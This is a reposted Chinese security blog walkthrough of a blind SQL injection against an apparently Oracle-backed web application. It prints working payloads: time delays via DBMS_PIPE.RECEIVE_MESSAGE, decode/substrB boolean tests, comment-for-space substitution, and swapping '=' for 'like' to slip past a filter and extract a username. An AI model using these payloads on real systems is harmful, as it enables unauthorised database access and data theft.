当注入存在些许过滤,是否就此放弃?

admin 2024年7月3日23:10:22评论5 views字数 682阅读2分16秒阅读模式
0x01 一个注入
    当~一个注入~存在过滤~你~是否放弃~
    好的,这是一个注入,各位牛子看图:
当注入存在些许过滤,是否就此放弃?
当注入存在些许过滤,是否就此放弃?
    很明显,这个注入包的,接下来尝试看是否延时:
'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('c',4)='c

当注入存在些许过滤,是否就此放弃?

    OK,包的,接下来更改Payload看看:
'/**/and/**/(select+decode(substrB(123,1,1),1,dbms_pipe.receive_message('d',5),0)+from+dual)='1

当注入存在些许过滤,是否就此放弃?

    嘿,不延了。但是上面很明显,Payload使其延时了4秒钟的,那也就是说包的。这里的话,有两种猜测,当然也可能两种情况都存在:
1、Payload长度超出限制;
2、过滤了某些字符或关键词。
当注入存在些许过滤,是否就此放弃?
0x02 持续输出
    那么到底是哪种?这就需要排查,先看是不是超出长度,那这边就不用延时了,看看用盲注是否可行:
'/**/and/**/(select+decode(substrB(123,1,1),1,1,0)+from+dual)='1

当注入存在些许过滤,是否就此放弃?

    嘿,直接报错了,那么这里很可能是什么符号或关键词被过滤了,导致这个报错出现,先看看是不是等于号无法使用,把等于号换成like来尝试:
'/**/and/**/(select+decode(substrB(123,1,1),1,1,0)+from+dual)like'1

当注入存在些许过滤,是否就此放弃?

    有了有了,对比已经如图所示,包的:
当注入存在些许过滤,是否就此放弃?
    后面就是很自然的出来了用户名:
当注入存在些许过滤,是否就此放弃?
 

原文始发于微信公众号(犀利猪安全):一篇水文 | 当注入存在些许过滤,是否就此放弃?

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月3日23:10:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   当注入存在些许过滤,是否就此放弃?http://cn-sec.com/archives/2915122.html

发表评论

匿名网友 填写信息